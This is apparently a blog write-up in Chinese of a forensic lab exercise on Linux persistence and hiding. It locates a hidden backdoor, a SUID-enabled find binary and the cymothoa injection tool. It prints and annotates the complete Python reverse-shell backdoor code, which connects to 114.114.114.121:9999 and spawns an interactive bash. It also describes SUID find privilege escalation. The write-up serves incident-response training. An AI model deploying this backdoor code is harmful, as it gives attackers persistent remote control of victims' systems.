玄机靶场 - 第三章 权限维持-linux权限维持-隐藏

靶场地址:第三章 权限维持-linux权限维持-隐藏 · 玄机 - EDISEC

本次靶场要求提供的flag如下:

  1. 黑客隐藏的隐藏的文件 完整路径md5
  2. 黑客隐藏的文件反弹shell的ip+端口 {ip:port}
  3. 黑客提权所用的命令 完整路径的md5 flag{md5}
  4. 黑客尝试注入恶意代码的工具完整路径md5
  5. 使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

Flag1

黑客隐藏的隐藏的文件 完整路径md5

惯例先看下开了哪些端口和服务,可以看到开了apache2和mysql,和上一题有点类似

netstat -antlp|more

image.png

黑客经常会将隐藏文件放在/tmp目录下,因此先去这个目录下找,发现有一个.temp文件

在这里插入图片描述

进入到/tmp目录,看到目录下面只有一个1.py是拥有可执行权限的,查看代码确定是后门文件,提取该文件的完整路径,文件内容后面会分析

/tmp/.temp/libprocesshider/1.py

image.png

按题目要求对路径进行md5加密,得到flag

flag{109ccb5768c70638e24fb46ee7957e37}

image.png

Flag2

黑客隐藏的文件反弹shell的ip+端口 {ip:port}

上一步得知了隐藏目录下有可执行文件1.py,在这个文件中我们就可以看到反弹shell的IP和端口,获取flag

flag{114.114.114.121:9999}

image.png

对上面代码进行简要分析,可以分为以下几段:

  1. 指定解析器

指定使用 Python 3 解释器来执行该脚本,并导入相应的模块

#!/usr/bin/python3
import socket,subprocess,os,sys,time  
  1. 创建第一个子进程

这里使用fork()创建一个子进程。如果这是父进程(pidrg > 0),它会立即退出。这是为了在后台运行守护进程,防止阴影进程残留

pidrg = os.fork() 
if pidrg > 0:
    sys.exit(0)
  1. 更改工作目录和会话

将工作目录更改为根目录/,再创建一个新的会话,用于运行守护进程,最后将文件创建掩码设为 0,这允许进程创建的文件具有最大的权限

os.chdir("/")  
os.setsid()  
os.umask(0)  
  1. 创建第二个子进程

另一个fork()调用,再次创建一个子进程。如果这是父进程,同样会退出。这样做的目的是确保没有控制终端。

drgpid = os.fork()  
if drgpid > 0:  
    sys.exit(0)  
  1. 无限循环

进入一个无限循环,持续尝试连接到指定 IP 地址的指定端口,实现后门的持久化

while 1:  
  1. 连接到远程服务器

刷新stdoutstderr,确保输出不会被缓存。同时将标准输出和标准错误输出重定向到 /dev/null,即丢弃所有输出。再创建一个 TCP socket,并尝试连接到 IP 地址114.114.114.121的端口9999,实现反弹shell

try:  
    sys.stdout.flush()  
    sys.stderr.flush()  
    fdreg = open("/dev/null", "w")  
    sys.stdout = fdreg  
    sys.stderr = fdreg  
    sdregs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    sdregs.connect(("114.114.114.121", 9999))  
  1. 重定向输入输出

使用dup2()函数将标准输入(0)、标准输出(1)和标准错误(2)重定向到网络socket。这允许攻击者通过socket与受害机器直接进行交互

os.dup2(sdregs.fileno(), 0)  
os.dup2(sdregs.fileno(), 1)  
os.dup2(sdregs.fileno(), 2)  
  1. 调用新的 shell

调用一个交互式的 bash shell。执行完后关闭 socket。

p = subprocess.call(["/bin/bash", "-i"])  
sdregs.close()  
  1. 异常处理

捕获并忽略所有异常。这意味着如果连接失败或出现任何错误,脚本将继续循环,不会抛出错误。如果连接失败,等待 2 秒钟后再试

except Exception:  
    pass
time.sleep(2)

从上面代码也可以看出来这是个标准的后门脚本,会创建个子进程不断反弹shell,进行持久化控制

Flag3

黑客提权所用的命令 完整路径的md5 flag{md5}

首先我们要了解下提权中常用的SUID提权的原理:

  • 当一个文件(通常是可执行的二进制文件)设置了 SUID 位时,该文件的所有者(通常是 root 用户)身份会被赋予给通过该文件启动的进程
  • 这意味着,虽然实际运行程序的用户可能是普通用户,但程序将以文件所有者的身份执行

即如果用户执行设置了SUID位的文件,用户通过该程序执行的指令和操作都是以root身份执行

提权搜索设置了SUID位的程序,看到了find指令,find提权也是Linux提权中常用到的,正常find是不会设置SUID位,说明有人对它进行了提权

find / -perm -u=s -type f 2>/dev/null

image.png

查看一下文件权限,可以看到s位的显示,并且对应路径如下

/usr/bin/find

image.png

对该路径进行md5编码,拿到flag

flag{7fd5884f493f4aaf96abee286ee04120}

Flag4

黑客尝试注入恶意代码的工具完整路径md5

隐藏文件通常以.作为文件开头,黑客工具通常也会放在隐藏目录下,首先全局搜索一下隐藏目录或文件

find / -name ".*"

/opt下面发现有一个带有版本号1-beta的目录,而目录名cymothoa是一款可以将shellcode注入到现有进程的后门工具

在这里插入图片描述

进入到这个目录,找到运行程序,得到完整访问路径

/opt/.cymothoa-1-beta/cymothoa

image.png

再对路径进行md5加密得到flag

flag{087c267368ece4fcf422ff733b51aed9}

Flag5

使用命令运行 ./x.xx 执行该文件 将查询的 Exec ****** 值 作为flag提交 flag{/xxx/xxx/xxx}

这道题目说要执行该文件获取执行输出,首先能想到的就是前面题目有关联的两个文件

/tmp/.temp/libprocesshider/1.py
/opt/.cymothoa-1-beta/cymothoa

而根据./x.xx格式猜测对应是1.py,而这个文件我们前面也分析了,是创建子进程实现持续性反弹shell操作,执行后并不会有什么输出,问题在于这个Exec值到底代表什么

另一篇文章玄机——第三章 权限维持-linux权限维持-隐藏 wp-优快云博客中有提到,说Linux系统中的 Exec 相关字段,通常用于查看程序执行时的权限设置,但是我在网上搜了个遍都没搜到这个说法的出处,目前对这个论点存疑,但是文章中提供的flag确实是正确的,我只能说出题人真行,为了提高所谓的“难度”给flag的描述弄得很复杂,难度全在理解出题人的表达上

按文章思路来,执行文件后获取到了Python3对应的权限设置lrwxrwxrwx,但是这个不是答案

python3 /tmp/.temp/libprocesshider/1.py
ls -l /usr/bin/python3

image.png

答案是执行1.py脚本的执行程序的完整路径,还不能是/usr/bin/python3必须是/usr/bin/python3.4,所以为什么是这个答案,这个到底是怎么来的,Exec到底代表什么,有没有大佬能在评论区解答一下

最终提交的flag是

flag{/usr/bin/python3.4}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值